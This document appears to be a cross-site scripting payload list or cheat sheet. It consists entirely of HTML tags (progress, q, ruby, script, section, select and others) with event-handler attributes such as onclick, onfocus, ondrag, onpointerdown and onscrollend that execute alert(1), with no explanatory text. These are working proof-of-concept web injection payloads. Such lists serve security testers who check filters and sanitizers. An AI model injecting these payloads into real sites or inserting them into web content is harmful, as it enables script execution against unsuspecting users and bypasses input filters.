<pre onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></pre>
<progress contenteditable onbeforeinput=alert(1)>test
<progress draggable="true" ondrag="alert(1)" style=display:block>test</progress>
<progress draggable="true" ondragend="alert(1)" style=display:block>test</progress>
<progress draggable="true" ondragenter="alert(1)" style=display:block>test</progress>
<progress draggable="true" ondragleave="alert(1)" style=display:block>test</progress>
<progress draggable="true" ondragstart="alert(1)" style=display:block>test</progress>
<progress id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></progress>
<progress id=x tabindex=1 onfocus=alert(1)></progress>
<progress id=x tabindex=1 onfocusin=alert(1)></progress>
<progress onafterscriptexecute=alert(1)><script>1</script>
<progress onbeforecopy="alert(1)" contenteditable>test</progress>
<progress onbeforecut="alert(1)" contenteditable>test</progress>
<progress onbeforescriptexecute=alert(1)><script>1</script>
<progress onblur=alert(1) id=x tabindex=1 style=display:block>test</progress><input value=clickme>
<progress onclick="alert(1)" style=display:block>test</progress>
<progress oncontextmenu="alert(1)" style=display:block>test</progress>
<progress oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<progress oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<progress ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</progress>
<progress onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</progress><input value=clickme>
<progress onkeydown="alert(1)" contenteditable style=display:block>test</progress>
<progress onkeypress="alert(1)" contenteditable style=display:block>test</progress>
<progress onkeyup="alert(1)" contenteditable style=display:block>test</progress>
<progress onmousedown="alert(1)" style=display:block>test</progress>
<progress onmouseenter="alert(1)" style=display:block>test</progress>
<progress onmouseleave="alert(1)" style=display:block>test</progress>
<progress onmousemove="alert(1)" style=display:block>test</progress>
<progress onmouseout="alert(1)" style=display:block>test</progress>
<progress onmouseover="alert(1)" style=display:block>test</progress>
<progress onmouseup="alert(1)" style=display:block>test</progress>
<progress onmousewheel=alert(1) style=display:block>requires scrolling
<progress onpaste="alert(1)" contenteditable>test</progress>
<progress onpointerdown=alert(1) style=display:block>XSS</progress>
<progress onpointerenter=alert(1) style=display:block>XSS</progress>
<progress onpointerleave=alert(1) style=display:block>XSS</progress>
<progress onpointermove=alert(1) style=display:block>XSS</progress>
<progress onpointerout=alert(1) style=display:block>XSS</progress>
<progress onpointerover=alert(1) style=display:block>XSS</progress>
<progress onpointerrawupdate=alert(1) style=display:block>XSS</progress>
<progress onpointerup=alert(1) style=display:block>XSS</progress>
<progress onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></progress>
<q contenteditable onbeforeinput=alert(1)>test
<q draggable="true" ondrag="alert(1)" style=display:block>test</q>
<q draggable="true" ondragend="alert(1)" style=display:block>test</q>
<q draggable="true" ondragenter="alert(1)" style=display:block>test</q>
<q draggable="true" ondragleave="alert(1)" style=display:block>test</q>
<q draggable="true" ondragstart="alert(1)" style=display:block>test</q>
<q id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></q>
<q id=x tabindex=1 onfocus=alert(1)></q>
<q id=x tabindex=1 onfocusin=alert(1)></q>
<q onafterscriptexecute=alert(1)><script>1</script>
<q onbeforecopy="alert(1)" contenteditable>test</q>
<q onbeforecut="alert(1)" contenteditable>test</q>
<q onbeforescriptexecute=alert(1)><script>1</script>
<q onblur=alert(1) id=x tabindex=1 style=display:block>test</q><input value=clickme>
<q onclick="alert(1)" style=display:block>test</q>
<q oncontextmenu="alert(1)" style=display:block>test</q>
<q oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<q oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<q ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</q>
<q onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</q><input value=clickme>
<q onkeydown="alert(1)" contenteditable style=display:block>test</q>
<q onkeypress="alert(1)" contenteditable style=display:block>test</q>
<q onkeyup="alert(1)" contenteditable style=display:block>test</q>
<q onmousedown="alert(1)" style=display:block>test</q>
<q onmouseenter="alert(1)" style=display:block>test</q>
<q onmouseleave="alert(1)" style=display:block>test</q>
<q onmousemove="alert(1)" style=display:block>test</q>
<q onmouseout="alert(1)" style=display:block>test</q>
<q onmouseover="alert(1)" style=display:block>test</q>
<q onmouseup="alert(1)" style=display:block>test</q>
<q onmousewheel=alert(1) style=display:block>requires scrolling
<q onpaste="alert(1)" contenteditable>test</q>
<q onpointerdown=alert(1) style=display:block>XSS</q>
<q onpointerenter=alert(1) style=display:block>XSS</q>
<q onpointerleave=alert(1) style=display:block>XSS</q>
<q onpointermove=alert(1) style=display:block>XSS</q>
<q onpointerout=alert(1) style=display:block>XSS</q>
<q onpointerover=alert(1) style=display:block>XSS</q>
<q onpointerrawupdate=alert(1) style=display:block>XSS</q>
<q onpointerup=alert(1) style=display:block>XSS</q>
<q onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></q>
<rb contenteditable onbeforeinput=alert(1)>test
<rb draggable="true" ondrag="alert(1)" style=display:block>test</rb>
<rb draggable="true" ondragend="alert(1)" style=display:block>test</rb>
<rb draggable="true" ondragenter="alert(1)" style=display:block>test</rb>
<rb draggable="true" ondragleave="alert(1)" style=display:block>test</rb>
<rb draggable="true" ondragstart="alert(1)" style=display:block>test</rb>
<rb id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></rb>
<rb id=x tabindex=1 onfocus=alert(1)></rb>
<rb id=x tabindex=1 onfocusin=alert(1)></rb>
<rb onafterscriptexecute=alert(1)><script>1</script>
<rb onbeforecopy="alert(1)" contenteditable>test</rb>
<rb onbeforecut="alert(1)" contenteditable>test</rb>
<rb onbeforescriptexecute=alert(1)><script>1</script>
<rb onblur=alert(1) id=x tabindex=1 style=display:block>test</rb><input value=clickme>
<rb onclick="alert(1)" style=display:block>test</rb>
<rb oncontextmenu="alert(1)" style=display:block>test</rb>
<rb oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rb oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rb ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</rb>
<rb onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</rb><input value=clickme>
<rb onkeydown="alert(1)" contenteditable style=display:block>test</rb>
<rb onkeypress="alert(1)" contenteditable style=display:block>test</rb>
<rb onkeyup="alert(1)" contenteditable style=display:block>test</rb>
<rb onmousedown="alert(1)" style=display:block>test</rb>
<rb onmouseenter="alert(1)" style=display:block>test</rb>
<rb onmouseleave="alert(1)" style=display:block>test</rb>
<rb onmousemove="alert(1)" style=display:block>test</rb>
<rb onmouseout="alert(1)" style=display:block>test</rb>
<rb onmouseover="alert(1)" style=display:block>test</rb>
<rb onmouseup="alert(1)" style=display:block>test</rb>
<rb onmousewheel=alert(1) style=display:block>requires scrolling
<rb onpaste="alert(1)" contenteditable>test</rb>
<rb onpointerdown=alert(1) style=display:block>XSS</rb>
<rb onpointerenter=alert(1) style=display:block>XSS</rb>
<rb onpointerleave=alert(1) style=display:block>XSS</rb>
<rb onpointermove=alert(1) style=display:block>XSS</rb>
<rb onpointerout=alert(1) style=display:block>XSS</rb>
<rb onpointerover=alert(1) style=display:block>XSS</rb>
<rb onpointerrawupdate=alert(1) style=display:block>XSS</rb>
<rb onpointerup=alert(1) style=display:block>XSS</rb>
<rb onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></rb>
<rp contenteditable onbeforeinput=alert(1)>test
<rp draggable="true" ondrag="alert(1)" style=display:block>test</rp>
<rp draggable="true" ondragend="alert(1)" style=display:block>test</rp>
<rp draggable="true" ondragenter="alert(1)" style=display:block>test</rp>
<rp draggable="true" ondragleave="alert(1)" style=display:block>test</rp>
<rp draggable="true" ondragstart="alert(1)" style=display:block>test</rp>
<rp id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></rp>
<rp id=x tabindex=1 onfocus=alert(1)></rp>
<rp id=x tabindex=1 onfocusin=alert(1)></rp>
<rp onafterscriptexecute=alert(1)><script>1</script>
<rp onbeforecopy="alert(1)" contenteditable>test</rp>
<rp onbeforecut="alert(1)" contenteditable>test</rp>
<rp onbeforescriptexecute=alert(1)><script>1</script>
<rp onblur=alert(1) id=x tabindex=1 style=display:block>test</rp><input value=clickme>
<rp onclick="alert(1)" style=display:block>test</rp>
<rp oncontextmenu="alert(1)" style=display:block>test</rp>
<rp oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rp oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rp ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</rp>
<rp onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</rp><input value=clickme>
<rp onkeydown="alert(1)" contenteditable style=display:block>test</rp>
<rp onkeypress="alert(1)" contenteditable style=display:block>test</rp>
<rp onkeyup="alert(1)" contenteditable style=display:block>test</rp>
<rp onmousedown="alert(1)" style=display:block>test</rp>
<rp onmouseenter="alert(1)" style=display:block>test</rp>
<rp onmouseleave="alert(1)" style=display:block>test</rp>
<rp onmousemove="alert(1)" style=display:block>test</rp>
<rp onmouseout="alert(1)" style=display:block>test</rp>
<rp onmouseover="alert(1)" style=display:block>test</rp>
<rp onmouseup="alert(1)" style=display:block>test</rp>
<rp onmousewheel=alert(1) style=display:block>requires scrolling
<rp onpaste="alert(1)" contenteditable>test</rp>
<rp onpointerdown=alert(1) style=display:block>XSS</rp>
<rp onpointerenter=alert(1) style=display:block>XSS</rp>
<rp onpointerleave=alert(1) style=display:block>XSS</rp>
<rp onpointermove=alert(1) style=display:block>XSS</rp>
<rp onpointerout=alert(1) style=display:block>XSS</rp>
<rp onpointerover=alert(1) style=display:block>XSS</rp>
<rp onpointerrawupdate=alert(1) style=display:block>XSS</rp>
<rp onpointerup=alert(1) style=display:block>XSS</rp>
<rp onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></rp>
<rt contenteditable onbeforeinput=alert(1)>test
<rt draggable="true" ondrag="alert(1)" style=display:block>test</rt>
<rt draggable="true" ondragend="alert(1)" style=display:block>test</rt>
<rt draggable="true" ondragenter="alert(1)" style=display:block>test</rt>
<rt draggable="true" ondragleave="alert(1)" style=display:block>test</rt>
<rt draggable="true" ondragstart="alert(1)" style=display:block>test</rt>
<rt id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></rt>
<rt id=x tabindex=1 onfocus=alert(1)></rt>
<rt id=x tabindex=1 onfocusin=alert(1)></rt>
<rt onafterscriptexecute=alert(1)><script>1</script>
<rt onbeforecopy="alert(1)" contenteditable>test</rt>
<rt onbeforecut="alert(1)" contenteditable>test</rt>
<rt onbeforescriptexecute=alert(1)><script>1</script>
<rt onblur=alert(1) id=x tabindex=1 style=display:block>test</rt><input value=clickme>
<rt onclick="alert(1)" style=display:block>test</rt>
<rt oncontextmenu="alert(1)" style=display:block>test</rt>
<rt oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rt oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rt ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</rt>
<rt onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</rt><input value=clickme>
<rt onkeydown="alert(1)" contenteditable style=display:block>test</rt>
<rt onkeypress="alert(1)" contenteditable style=display:block>test</rt>
<rt onkeyup="alert(1)" contenteditable style=display:block>test</rt>
<rt onmousedown="alert(1)" style=display:block>test</rt>
<rt onmouseenter="alert(1)" style=display:block>test</rt>
<rt onmouseleave="alert(1)" style=display:block>test</rt>
<rt onmousemove="alert(1)" style=display:block>test</rt>
<rt onmouseout="alert(1)" style=display:block>test</rt>
<rt onmouseover="alert(1)" style=display:block>test</rt>
<rt onmouseup="alert(1)" style=display:block>test</rt>
<rt onmousewheel=alert(1) style=display:block>requires scrolling
<rt onpaste="alert(1)" contenteditable>test</rt>
<rt onpointerdown=alert(1) style=display:block>XSS</rt>
<rt onpointerenter=alert(1) style=display:block>XSS</rt>
<rt onpointerleave=alert(1) style=display:block>XSS</rt>
<rt onpointermove=alert(1) style=display:block>XSS</rt>
<rt onpointerout=alert(1) style=display:block>XSS</rt>
<rt onpointerover=alert(1) style=display:block>XSS</rt>
<rt onpointerrawupdate=alert(1) style=display:block>XSS</rt>
<rt onpointerup=alert(1) style=display:block>XSS</rt>
<rt onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></rt>
<rtc contenteditable onbeforeinput=alert(1)>test
<rtc draggable="true" ondrag="alert(1)" style=display:block>test</rtc>
<rtc draggable="true" ondragend="alert(1)" style=display:block>test</rtc>
<rtc draggable="true" ondragenter="alert(1)" style=display:block>test</rtc>
<rtc draggable="true" ondragleave="alert(1)" style=display:block>test</rtc>
<rtc draggable="true" ondragstart="alert(1)" style=display:block>test</rtc>
<rtc id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></rtc>
<rtc id=x tabindex=1 onfocus=alert(1)></rtc>
<rtc id=x tabindex=1 onfocusin=alert(1)></rtc>
<rtc onafterscriptexecute=alert(1)><script>1</script>
<rtc onbeforecopy="alert(1)" contenteditable>test</rtc>
<rtc onbeforecut="alert(1)" contenteditable>test</rtc>
<rtc onbeforescriptexecute=alert(1)><script>1</script>
<rtc onblur=alert(1) id=x tabindex=1 style=display:block>test</rtc><input value=clickme>
<rtc onclick="alert(1)" style=display:block>test</rtc>
<rtc oncontextmenu="alert(1)" style=display:block>test</rtc>
<rtc oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rtc oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<rtc ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</rtc>
<rtc onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</rtc><input value=clickme>
<rtc onkeydown="alert(1)" contenteditable style=display:block>test</rtc>
<rtc onkeypress="alert(1)" contenteditable style=display:block>test</rtc>
<rtc onkeyup="alert(1)" contenteditable style=display:block>test</rtc>
<rtc onmousedown="alert(1)" style=display:block>test</rtc>
<rtc onmouseenter="alert(1)" style=display:block>test</rtc>
<rtc onmouseleave="alert(1)" style=display:block>test</rtc>
<rtc onmousemove="alert(1)" style=display:block>test</rtc>
<rtc onmouseout="alert(1)" style=display:block>test</rtc>
<rtc onmouseover="alert(1)" style=display:block>test</rtc>
<rtc onmouseup="alert(1)" style=display:block>test</rtc>
<rtc onmousewheel=alert(1) style=display:block>requires scrolling
<rtc onpaste="alert(1)" contenteditable>test</rtc>
<rtc onpointerdown=alert(1) style=display:block>XSS</rtc>
<rtc onpointerenter=alert(1) style=display:block>XSS</rtc>
<rtc onpointerleave=alert(1) style=display:block>XSS</rtc>
<rtc onpointermove=alert(1) style=display:block>XSS</rtc>
<rtc onpointerout=alert(1) style=display:block>XSS</rtc>
<rtc onpointerover=alert(1) style=display:block>XSS</rtc>
<rtc onpointerrawupdate=alert(1) style=display:block>XSS</rtc>
<rtc onpointerup=alert(1) style=display:block>XSS</rtc>
<rtc onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></rtc>
<ruby contenteditable onbeforeinput=alert(1)>test
<ruby draggable="true" ondrag="alert(1)" style=display:block>test</ruby>
<ruby draggable="true" ondragend="alert(1)" style=display:block>test</ruby>
<ruby draggable="true" ondragenter="alert(1)" style=display:block>test</ruby>
<ruby draggable="true" ondragleave="alert(1)" style=display:block>test</ruby>
<ruby draggable="true" ondragstart="alert(1)" style=display:block>test</ruby>
<ruby id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></ruby>
<ruby id=x tabindex=1 onfocus=alert(1)></ruby>
<ruby id=x tabindex=1 onfocusin=alert(1)></ruby>
<ruby onafterscriptexecute=alert(1)><script>1</script>
<ruby onbeforecopy="alert(1)" contenteditable>test</ruby>
<ruby onbeforecut="alert(1)" contenteditable>test</ruby>
<ruby onbeforescriptexecute=alert(1)><script>1</script>
<ruby onblur=alert(1) id=x tabindex=1 style=display:block>test</ruby><input value=clickme>
<ruby onclick="alert(1)" style=display:block>test</ruby>
<ruby oncontextmenu="alert(1)" style=display:block>test</ruby>
<ruby oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ruby oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ruby ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</ruby>
<ruby onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</ruby><input value=clickme>
<ruby onkeydown="alert(1)" contenteditable style=display:block>test</ruby>
<ruby onkeypress="alert(1)" contenteditable style=display:block>test</ruby>
<ruby onkeyup="alert(1)" contenteditable style=display:block>test</ruby>
<ruby onmousedown="alert(1)" style=display:block>test</ruby>
<ruby onmouseenter="alert(1)" style=display:block>test</ruby>
<ruby onmouseleave="alert(1)" style=display:block>test</ruby>
<ruby onmousemove="alert(1)" style=display:block>test</ruby>
<ruby onmouseout="alert(1)" style=display:block>test</ruby>
<ruby onmouseover="alert(1)" style=display:block>test</ruby>
<ruby onmouseup="alert(1)" style=display:block>test</ruby>
<ruby onmousewheel=alert(1) style=display:block>requires scrolling
<ruby onpaste="alert(1)" contenteditable>test</ruby>
<ruby onpointerdown=alert(1) style=display:block>XSS</ruby>
<ruby onpointerenter=alert(1) style=display:block>XSS</ruby>
<ruby onpointerleave=alert(1) style=display:block>XSS</ruby>
<ruby onpointermove=alert(1) style=display:block>XSS</ruby>
<ruby onpointerout=alert(1) style=display:block>XSS</ruby>
<ruby onpointerover=alert(1) style=display:block>XSS</ruby>
<ruby onpointerrawupdate=alert(1) style=display:block>XSS</ruby>
<ruby onpointerup=alert(1) style=display:block>XSS</ruby>
<ruby onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></ruby>
<s contenteditable onbeforeinput=alert(1)>test
<s draggable="true" ondrag="alert(1)" style=display:block>test</s>
<s draggable="true" ondragend="alert(1)" style=display:block>test</s>
<s draggable="true" ondragenter="alert(1)" style=display:block>test</s>
<s draggable="true" ondragleave="alert(1)" style=display:block>test</s>
<s draggable="true" ondragstart="alert(1)" style=display:block>test</s>
<s id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></s>
<s id=x tabindex=1 onfocus=alert(1)></s>
<s id=x tabindex=1 onfocusin=alert(1)></s>
<s onafterscriptexecute=alert(1)><script>1</script>
<s onbeforecopy="alert(1)" contenteditable>test</s>
<s onbeforecut="alert(1)" contenteditable>test</s>
<s onbeforescriptexecute=alert(1)><script>1</script>
<s onblur=alert(1) id=x tabindex=1 style=display:block>test</s><input value=clickme>
<s onclick="alert(1)" style=display:block>test</s>
<s oncontextmenu="alert(1)" style=display:block>test</s>
<s oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<s oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<s ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</s>
<s onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</s><input value=clickme>
<s onkeydown="alert(1)" contenteditable style=display:block>test</s>
<s onkeypress="alert(1)" contenteditable style=display:block>test</s>
<s onkeyup="alert(1)" contenteditable style=display:block>test</s>
<s onmousedown="alert(1)" style=display:block>test</s>
<s onmouseenter="alert(1)" style=display:block>test</s>
<s onmouseleave="alert(1)" style=display:block>test</s>
<s onmousemove="alert(1)" style=display:block>test</s>
<s onmouseout="alert(1)" style=display:block>test</s>
<s onmouseover="alert(1)" style=display:block>test</s>
<s onmouseup="alert(1)" style=display:block>test</s>
<s onmousewheel=alert(1) style=display:block>requires scrolling
<s onpaste="alert(1)" contenteditable>test</s>
<s onpointerdown=alert(1) style=display:block>XSS</s>
<s onpointerenter=alert(1) style=display:block>XSS</s>
<s onpointerleave=alert(1) style=display:block>XSS</s>
<s onpointermove=alert(1) style=display:block>XSS</s>
<s onpointerout=alert(1) style=display:block>XSS</s>
<s onpointerover=alert(1) style=display:block>XSS</s>
<s onpointerrawupdate=alert(1) style=display:block>XSS</s>
<s onpointerup=alert(1) style=display:block>XSS</s>
<s onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></s>
<samp contenteditable onbeforeinput=alert(1)>test
<samp draggable="true" ondrag="alert(1)" style=display:block>test</samp>
<samp draggable="true" ondragend="alert(1)" style=display:block>test</samp>
<samp draggable="true" ondragenter="alert(1)" style=display:block>test</samp>
<samp draggable="true" ondragleave="alert(1)" style=display:block>test</samp>
<samp draggable="true" ondragstart="alert(1)" style=display:block>test</samp>
<samp id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></samp>
<samp id=x tabindex=1 onfocus=alert(1)></samp>
<samp id=x tabindex=1 onfocusin=alert(1)></samp>
<samp onafterscriptexecute=alert(1)><script>1</script>
<samp onbeforecopy="alert(1)" contenteditable>test</samp>
<samp onbeforecut="alert(1)" contenteditable>test</samp>
<samp onbeforescriptexecute=alert(1)><script>1</script>
<samp onblur=alert(1) id=x tabindex=1 style=display:block>test</samp><input value=clickme>
<samp onclick="alert(1)" style=display:block>test</samp>
<samp oncontextmenu="alert(1)" style=display:block>test</samp>
<samp oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<samp oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<samp ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</samp>
<samp onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</samp><input value=clickme>
<samp onkeydown="alert(1)" contenteditable style=display:block>test</samp>
<samp onkeypress="alert(1)" contenteditable style=display:block>test</samp>
<samp onkeyup="alert(1)" contenteditable style=display:block>test</samp>
<samp onmousedown="alert(1)" style=display:block>test</samp>
<samp onmouseenter="alert(1)" style=display:block>test</samp>
<samp onmouseleave="alert(1)" style=display:block>test</samp>
<samp onmousemove="alert(1)" style=display:block>test</samp>
<samp onmouseout="alert(1)" style=display:block>test</samp>
<samp onmouseover="alert(1)" style=display:block>test</samp>
<samp onmouseup="alert(1)" style=display:block>test</samp>
<samp onmousewheel=alert(1) style=display:block>requires scrolling
<samp onpaste="alert(1)" contenteditable>test</samp>
<samp onpointerdown=alert(1) style=display:block>XSS</samp>
<samp onpointerenter=alert(1) style=display:block>XSS</samp>
<samp onpointerleave=alert(1) style=display:block>XSS</samp>
<samp onpointermove=alert(1) style=display:block>XSS</samp>
<samp onpointerout=alert(1) style=display:block>XSS</samp>
<samp onpointerover=alert(1) style=display:block>XSS</samp>
<samp onpointerrawupdate=alert(1) style=display:block>XSS</samp>
<samp onpointerup=alert(1) style=display:block>XSS</samp>
<samp onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></samp>
<script contenteditable onbeforeinput=alert(1)>test
<script draggable="true" ondrag="alert(1)" style=display:block>test</script>
<script draggable="true" ondragend="alert(1)" style=display:block>test</script>
<script draggable="true" ondragenter="alert(1)" style=display:block>test</script>
<script draggable="true" ondragleave="alert(1)" style=display:block>test</script>
<script draggable="true" ondragstart="alert(1)" style=display:block>test</script>
<script id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></script>
<script id=x tabindex=1 onfocus=alert(1)></script>
<script id=x tabindex=1 onfocusin=alert(1)></script>
<script onafterscriptexecute=alert(1)><script>1</script>
<script onbeforecopy="alert(1)" contenteditable>test</script>
<script onbeforecut="alert(1)" contenteditable>test</script>
<script onbeforescriptexecute=alert(1)><script>1</script>
<script onblur=alert(1) id=x tabindex=1 style=display:block>test</script><input value=clickme>
<script onclick="alert(1)" style=display:block>test</script>
<script oncontextmenu="alert(1)" style=display:block>test</script>
<script oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<script oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<script ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</script>
<script onerror=alert(1) src=/></script>
<script onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</script><input value=clickme>
<script onkeydown="alert(1)" contenteditable style=display:block>test</script>
<script onkeypress="alert(1)" contenteditable style=display:block>test</script>
<script onkeyup="alert(1)" contenteditable style=display:block>test</script>
<script onload=alert(1) src=validjs.js></script>
<script onmousedown="alert(1)" style=display:block>test</script>
<script onmouseenter="alert(1)" style=display:block>test</script>
<script onmouseleave="alert(1)" style=display:block>test</script>
<script onmousemove="alert(1)" style=display:block>test</script>
<script onmouseout="alert(1)" style=display:block>test</script>
<script onmouseover="alert(1)" style=display:block>test</script>
<script onmouseup="alert(1)" style=display:block>test</script>
<script onmousewheel=alert(1) style=display:block>requires scrolling
<script onpaste="alert(1)" contenteditable>test</script>
<script onpointerdown=alert(1) style=display:block>XSS</script>
<script onpointerenter=alert(1) style=display:block>XSS</script>
<script onpointerleave=alert(1) style=display:block>XSS</script>
<script onpointermove=alert(1) style=display:block>XSS</script>
<script onpointerout=alert(1) style=display:block>XSS</script>
<script onpointerover=alert(1) style=display:block>XSS</script>
<script onpointerrawupdate=alert(1) style=display:block>XSS</script>
<script onpointerup=alert(1) style=display:block>XSS</script>
<script onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></script>
<section contenteditable onbeforeinput=alert(1)>test
<section draggable="true" ondrag="alert(1)" style=display:block>test</section>
<section draggable="true" ondragend="alert(1)" style=display:block>test</section>
<section draggable="true" ondragenter="alert(1)" style=display:block>test</section>
<section draggable="true" ondragleave="alert(1)" style=display:block>test</section>
<section draggable="true" ondragstart="alert(1)" style=display:block>test</section>
<section id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></section>
<section id=x tabindex=1 onfocus=alert(1)></section>
<section id=x tabindex=1 onfocusin=alert(1)></section>
<section onafterscriptexecute=alert(1)><script>1</script>
<section onbeforecopy="alert(1)" contenteditable>test</section>
<section onbeforecut="alert(1)" contenteditable>test</section>
<section onbeforescriptexecute=alert(1)><script>1</script>
<section onblur=alert(1) id=x tabindex=1 style=display:block>test</section><input value=clickme>
<section onclick="alert(1)" style=display:block>test</section>
<section oncontextmenu="alert(1)" style=display:block>test</section>
<section oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<section oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<section ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</section>
<section onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</section><input value=clickme>
<section onkeydown="alert(1)" contenteditable style=display:block>test</section>
<section onkeypress="alert(1)" contenteditable style=display:block>test</section>
<section onkeyup="alert(1)" contenteditable style=display:block>test</section>
<section onmousedown="alert(1)" style=display:block>test</section>
<section onmouseenter="alert(1)" style=display:block>test</section>
<section onmouseleave="alert(1)" style=display:block>test</section>
<section onmousemove="alert(1)" style=display:block>test</section>
<section onmouseout="alert(1)" style=display:block>test</section>
<section onmouseover="alert(1)" style=display:block>test</section>
<section onmouseup="alert(1)" style=display:block>test</section>
<section onmousewheel=alert(1) style=display:block>requires scrolling
<section onpaste="alert(1)" contenteditable>test</section>
<section onpointerdown=alert(1) style=display:block>XSS</section>
<section onpointerenter=alert(1) style=display:block>XSS</section>
<section onpointerleave=alert(1) style=display:block>XSS</section>
<section onpointermove=alert(1) style=display:block>XSS</section>
<section onpointerout=alert(1) style=display:block>XSS</section>
<section onpointerover=alert(1) style=display:block>XSS</section>
<section onpointerrawupdate=alert(1) style=display:block>XSS</section>
<section onpointerup=alert(1) style=display:block>XSS</section>
<section onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></section>
<select autofocus onfocus=alert(1)>
<select autofocus onfocusin=alert(1)>
<select contenteditable onbeforeinput=alert(1)>test
<select draggable="true" ondrag="alert(1)" style=display:block>test</select>
<select draggable="true" ondragend="alert(1)" style=display:block>test</select>
<select draggable="true" ondragenter="alert(1)" style=display:block>test</select>
